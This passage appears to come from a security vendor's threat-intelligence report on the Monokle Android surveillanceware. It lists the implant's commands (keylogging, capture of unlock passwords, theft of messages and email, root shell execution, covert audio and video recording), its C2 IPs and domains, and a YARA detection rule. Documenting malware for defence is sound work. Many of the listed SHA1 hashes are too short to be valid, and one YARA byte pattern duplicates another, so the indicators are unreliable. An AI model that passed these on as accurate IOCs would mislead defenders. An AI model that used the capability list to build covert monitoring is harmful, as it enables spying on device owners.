<td>Gets visited browser URLs collected through accessibility services.</td>
<td>baseSystem.getBrowserTracking.visits</td>
<td>N/A</td>
</tr>
<tr>
<td>14</td>
<td>Retrieves browser bookmarks.</td>
<td>baseSystem.getBrowserBookmarks.bookmarks</td>
<td>N/A</td>
</tr>
<tr>
<td>No.</td>
<td>Description</td>
<td>Method/Property</td>
<td>Arguments</td>
</tr>
<tr>
<td>-----</td>
<td>-----------------------------------------------------------------------------</td>
<td>----------------------------------------</td>
<td>-----------</td>
</tr>
<tr>
<td>15</td>
<td>Collects a list of installed apps.</td>
<td>baseSystem.getApplicationsList.apps</td>
<td>N/A</td>
</tr>
<tr>
<td>16</td>
<td>Get bluetooth MAC, Wi-Fi network information, and Wi-Fi scan results.</td>
<td>baseSystem.getNetworkingData</td>
<td>N/A</td>
</tr>
<tr>
<td>17</td>
<td>Retrieves messages from WhatsApp, Viber, Skype, Telegram, imo, Facebook, Instagram, and VK.</td>
<td>baseSystem.getMmsList.messages</td>
<td>N/A</td>
</tr>
<tr>
<td>18</td>
<td>Gets e-mail messages from the Lenovo, HTC, LG, and Android mail clients.</td>
<td>baseSystem.getEmailsList_emails</td>
<td>N/A</td>
</tr>
<tr>
<td>19</td>
<td>Collects user dictionary data.</td>
<td>baseSystem.getUserDictList</td>
<td>N/A</td>
</tr>
<tr>
<td>20</td>
<td>Location data collected using location tracking code.</td>
<td>baseSystem.getLocationTracking</td>
<td>N/A</td>
</tr>
<tr>
<td>21</td>
<td>Agent configuration data</td>
<td>baseSystem.getAgentInfo</td>
<td>N/A</td>
</tr>
<tr>
<td>22</td>
<td>Event tracking data</td>
<td>baseSystem.getEventTracking.event</td>
<td>N/A</td>
</tr>
<tr>
<td>23</td>
<td>Keylogging data</td>
<td>baseSystem.getKeyLogging.log</td>
<td>N/A</td>
</tr>
<tr>
<td>24</td>
<td>Recording of user unlocking the device</td>
<td>baseSystem.getScreenPassword.passwords</td>
<td>N/A</td>
</tr>
<tr>
<td>25</td>
<td>Configured geo-fences</td>
<td>baseSystem.getGeofencesList.geofence</td>
<td>N/A</td>
</tr>
<tr>
<td>26</td>
<td>A list of data gathered from monitoring the clipboard and notification tickerText</td>
<td>baseSystem.getNotificationsList.notifications</td>
<td>N/A</td>
</tr>
<tr>
<td>27</td>
<td>Configures beaconing period: agentSettings.period and agentSetting.WifiPeriod</td>
<td>N/A</td>
<td>baseSystem.getChangeConnectPeriod()</td>
</tr>
<tr>
<td>28</td>
<td>Runs a shell command, as root, depending on whether or not root access is available.</td>
<td>baseSystem.executeShellCommand.rows</td>
<td>baseSystem.getExecuteShellCommand</td>
</tr>
<tr>
<td>29</td>
<td>Configures GPS location listening</td>
<td>N/A</td>
<td>baseSystem.setGpsMode.mode</td>
</tr>
<tr>
<td>30</td>
<td>Toggle Wi-Fi connectivity</td>
<td>N/A</td>
<td>baseSystem.toggleWifi</td>
</tr>
<tr>
<td>31</td>
<td>Toggles bluetooth state</td>
<td>N/A</td>
<td>baseSystem.toggleBluetooth</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>Return Type</td>
<td>Method</td>
</tr>
<tr>
<td>---</td>
<td>------------------------------------------------------------------------------</td>
<td>-------------</td>
<td>-------------------------------</td>
</tr>
<tr>
<td>32</td>
<td>Resets either the device or the device password</td>
<td>N/A</td>
<td>deviceReset</td>
</tr>
<tr>
<td>33</td>
<td>Shows a notification to the user</td>
<td>N/A</td>
<td>baseSystem.showMessage</td>
</tr>
<tr>
<td>34</td>
<td>Enables/disables keylogging functionality</td>
<td>N/A</td>
<td>baseSystem.setKeyLogging</td>
</tr>
<tr>
<td>35</td>
<td>Changes the location tracking configuration</td>
<td>N/A</td>
<td>baseSystem.setLocationTracking</td>
</tr>
<tr>
<td>36</td>
<td>Configures the agent to require an inbound SMS for activation</td>
<td>N/A</td>
<td>N/A</td>
</tr>
<tr>
<td>37</td>
<td>Activates the agent by setting the “needActivation” setting to false</td>
<td>N/A</td>
<td>N/A</td>
</tr>
<tr>
<td>38</td>
<td>Sets the controlPhones number</td>
<td>N/A</td>
<td>baseSystem.changeControlPhones.phones</td>
</tr>
<tr>
<td>39</td>
<td>Configures either socketAddr or serverMail settings.</td>
<td>N/A</td>
<td>baseSystem.changeServerAddress</td>
</tr>
<tr>
<td>40</td>
<td>Changes transportCrypto settings.</td>
<td>N/A</td>
<td>baseSystem.changeTransportCrypto</td>
</tr>
<tr>
<td>41</td>
<td>Configures the agent ID.</td>
<td>N/A</td>
<td>baseSystem.changeAgentId</td>
</tr>
<tr>
<td>42</td>
<td>Configures the agent communication mode (e-mail or TCP/IP)</td>
<td>N/A</td>
<td>baseSystem.changeCommunicationMode</td>
</tr>
<tr>
<td>43</td>
<td>Stops and uninstalls the agent.</td>
<td>N/A</td>
<td>N/A</td>
</tr>
<tr>
<td>44</td>
<td>Sends an SMS message to a control phone.</td>
<td>N/A</td>
<td>baseSystem.sendSms</td>
</tr>
<tr>
<td>45</td>
<td>Initiates an outgoing call.</td>
<td>N/A</td>
<td>baseSystem.makeCall.phoneNumber</td>
</tr>
<tr>
<td>46</td>
<td>Deletes a file on the device.</td>
<td>N/A</td>
<td>baseSystem.deleteFile</td>
</tr>
<tr>
<td>47</td>
<td>Change call recording settings.</td>
<td>N/A</td>
<td>baseSystem.change</td>
</tr>
<tr>
<td>48</td>
<td>Either starts audio recording or schedules audio recording to be started through the SoundHub class.</td>
<td>N/A</td>
<td>baseSystem.setAudioRecordMode</td>
</tr>
<tr>
<td>49</td>
<td>Controls video recording via front or rear camera.</td>
<td>N/A</td>
<td>baseSystem.setVideoRecordMode.filename</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>Parameter(s)</td>
<td>Method(s)</td>
</tr>
<tr>
<td>---</td>
<td>------------------------------------------------------------------------------</td>
<td>--------------------</td>
<td>-----------------------------------------------</td>
</tr>
<tr>
<td>50</td>
<td>Configures screenshot settings.</td>
<td>N/A</td>
<td>baseSystem.setScreenShotMod</td>
</tr>
<tr>
<td>51</td>
<td>Configures photo capture settings.</td>
<td>N/A</td>
<td>baseSystem.setPhotoShotMode</td>
</tr>
<tr>
<td>52</td>
<td>Enables a setting which enables/disables recording of screen unlock.</td>
<td>N/A</td>
<td>baseSystem.setScreenPasswordMode</td>
</tr>
<tr>
<td>53</td>
<td>Instructs the agent to download a file from a specified URL to a location on the file system.</td>
<td>N/A</td>
<td>baseSystem.uploadFileToAgent</td>
</tr>
<tr>
<td>54</td>
<td>Reboots, turns off, or locks the device.</td>
<td>N/A</td>
<td>baseSystem.deviceControl</td>
</tr>
<tr>
<td>55</td>
<td>Adds a CA cert to the device.</td>
<td>N/A</td>
<td>baseSystem.installCertificate.fileName</td>
</tr>
<tr>
<td>56</td>
<td>Configures geofences</td>
<td>N/A</td>
<td>baseSystem.setGeofencesList</td>
</tr>
<tr>
<td>57</td>
<td>Installs an application from a specified location file path.</td>
<td>N/A</td>
<td>baseSystem.installApplication.filePath</td>
</tr>
<tr>
<td>58</td>
<td>Uninstalls a specified application.</td>
<td>N/A</td>
<td>baseSystem.uninstallApplication.packageName</td>
</tr>
<tr>
<td>59</td>
<td>Deletes tracking data the application has been collecting.</td>
<td>N/A</td>
<td>N/A</td>
</tr>
<tr>
<td>60</td>
<td>Configures streaming audio recording to stream to a particular server.</td>
<td>N/A</td>
<td>baseSystem.changeAudioStreamingMode</td>
</tr>
<tr>
<td>61</td>
<td>Allows configuration of a filter used to collect targeted data through command which support data filtering</td>
<td>N/A</td>
<td>N/A</td>
</tr>
</tbody>
</table>
Contributors

Adam Bauer, Sr. Staff Security Intelligence Engineer, Lookout

Apurva Kumar, Staff Security Intelligence Engineer, Lookout

Christoph Hebeisen, Head of Research, Lookout

Michael Murray, Chief Security Officer, Lookout

Michael Flossman, formerly of Lookout

Contact information

threatintel@lookout.com
Appendix A: Indicators of Compromise

SHA1s of Monokle APKs

722fa5222be0686150bf7e62097035b35babcb3
655e2a59c80c50baa8b8174a70f18052ed9
5b9d7d9b8110b245f5d53b4aa4f23a5812c4815
72d4863a4d5f337621440222a478bf8af6d2c9a
fe0d426ee22ca180d0ccdd18d9742a426f30ebcf
8034857623f59a3804c717095e9e792a75442d
b4993b08b0b4827235202ca525d03a0a00f45
8fd1211deda8214dc7b1b81522756aa8e6d116
d93f45ae096c754ee0b5f5cc4987a0db2b19b4
d9bfe9a0b9f9a0d0c2b33cc2d2a7899a08a0
5bcaecf74d742c8bbaccd2f20ac91cacc6b5570a
60df52d33632f1204119296b3e9d27ea37e61e7
a3a9468875934a03e828c6f3615b6d1a69d1d4b
21e8a2aed4b366bfebeb1c4f839999e6d2d2c7ed2
f910d5a9b2f678df3f56106ce3e9c0c11ce62c
9d7c44ef99054a208ce6e05c9e4e16c6f5fb
8e8bf33849250900ea694b3cc0be96607d064ac
501c295ec2d497ad87daa1d069885b945372499
535a4371ca7936d3a2b2410bf7f812a31ae7842
d13ed5a914ce5fc97f894e9eae098c7357141d3
9cbad8d15ac69f8e587d4f4bf8d5782e57b266d
b138e0e2b48cf1531098d6fb00b3d841fece5ed8
bbbd7f1776bef697693d7c38161730a62f5f6ff
7a5a210a2b8344020ca318b921bf7741b4093b34
f9ab3ac4bf67512cede88ce50d2797eeddcb1028
f7e948a6100e1106409bf46eb21fb64b53dbd50
f3541ce42f197f5d363756b21cf57f4c7db795c
002c6cb2c45f0d6c7e41b736d8c0e1f0d8385146
b1896570b50ca8a5f12fa1f7afe8d8aebabe8f
5feada28d3e41b0b9f1a38458e838445201ef0
025c427d354bcba02473972d1b6aa3a53f3701c
3a350b419e9079cc66ec124f30e4eee5446fa8
d7db5ce221ad23a43f3d3e5e3cbe3b31c8286a
6e18e713f38f384375f67f05834f684c077
b70815db02c80302d65d8c641971a1d7b87479224
04c8dce62704526606d05037e1209b571e504792
8ed7d49c7e6273add9888506870911944ca541
4245d4d349152e9706419f03756cc52f1570d255
d9114ea50fbed7d51e15077a1893494e52f339
f4f47c9e3e85657cfbde92c965913c70c93867
b0911d5eeab687231c9cdada2e45b5eace5f54
8af9997e20949e0cc8dcb685b5c1746921ee5d1
1e0a49b78cfc2a5c0b935a56ff15765bbdf531
09b4972a6ee4262b974e82a668c1937db3c83236
e288de6ec6759275b1af2c2a353577cc88bbdd93
f837a54e76edacad10e7d4872f81e5c57c0585be
44b999fc9284b5c34ec3ff8439cb65f0da541
69a86eb70ebf888fdd13c910e2873d60393012b
01390cd14b0f17efb90d89bb9ff7de46008a8f
8e34ad5b12783b8c25d57ae81d8e34e68bf1f4
4f8273780794d654961644fb9c2e275021369f8
346fe37f451cd61cf922eaf13798b59c807be
ef32335fd5457274f65437aa1615c62777724b
1bd8465f5020f75f0a84dafa60e93954533368
d618a5be838713d0a117c7db2775e7614a775924
720b2979f280c02c424887b0850353cd1a28ec68

Command and control infrastructure

136.243.219[.]233
149.154.65[.]55
178.63.140[.]53
185.23.17[.]13
77.37.200[.]61
185.117.89[.]238
185.23.17[.]2
185.48.56[.]81
188.165.29[.]60
192.168.49[.]24
88.99.111[.]46
188.165.162[.]64
190.167.231[.]10
flythesky.hostdns[.]ch
oldserver.servepics[.]com
southparks.servebeer[.]com
zebraland.myftp[.]biz
Appendix B: YARA Rules

Monokle Android samples

```
rule Monokle_Android
{
    meta:
        description = "Rule for Monokle Android samples. Configuration information suggests actor has a presence in Russia. Campaigns appear highly targeted."
        auth = "Flossman - SecInt <threatintel@lookout.com>"
        date = "2018-04-24"
        version = "1.0"

    strings:
        $dex_file = { 64 65 78 0A 30 33 35 00 }
        $seq_security_update = { 00 20 4C 63 6F 6D 2F 73 79 73 74 65 6D 2F 73 65 63 75 72 69 74 79 5F 75 70 64 61 74 65 2F 41 70 70 3B 00 }
        $str_recs_file = "recs233268"
        $str_sound_rec_f_name = "nsr516336743.lmt"
        $str_nexus_6_recording = "Nexus 6 startMediaRecorderNexus"
        $str_next_connect_date_f_name = "lcd110992264.d"
        $str_app_change_broadcast = "com.system.security.event.APP_CHANGE_STATE"
        $str_remove_presence_flag_1 = "Android/data/serv8202965/log9208846.txt"
        $str_remove_presence_flag_2 = "Android/data/serv8202965"
        $str_user_dict = "/data/local/tmp/5f2bqwko.tmp"
        $seq_failed_to_read_firefox = { 46 61 69 6C 65 64 20 74 6F 20 72 65 61 64 20 46 69 72 65 66 6F 78 20 42 72 6F 77 73 65 72 20 62 6F 6B 6D 61 72 6B 73 20 66 72 6F 6D 20 }
        $str_firefox_temp_default = "/data/local/tmp/fegjrexkk.tmp"
        $seq_failed_to_read_samsung = { 46 61 69 6C 65 64 20 74 6F 20 72 65 61 64 20 46 69 72 65 66 6F 78 20 42 72 6F 77 73 65 72 20 62 6F 6B 6D 61 72 6B 73 20 66 72 6F 6D 20 }
        $str_get_bookmarks_api_log = "getBookmarksFromSBrowserApi23"
        $str_samsung_browser_temp = "/data/local/tmp/swbkxmsi.tmp"
        $str_samsung_browser_temp_2 = "/data/local/tmp/swnkxmsi.tmp"

    condition:
        $dex_file and (any of ($seq*) or any of ($str*))
}
```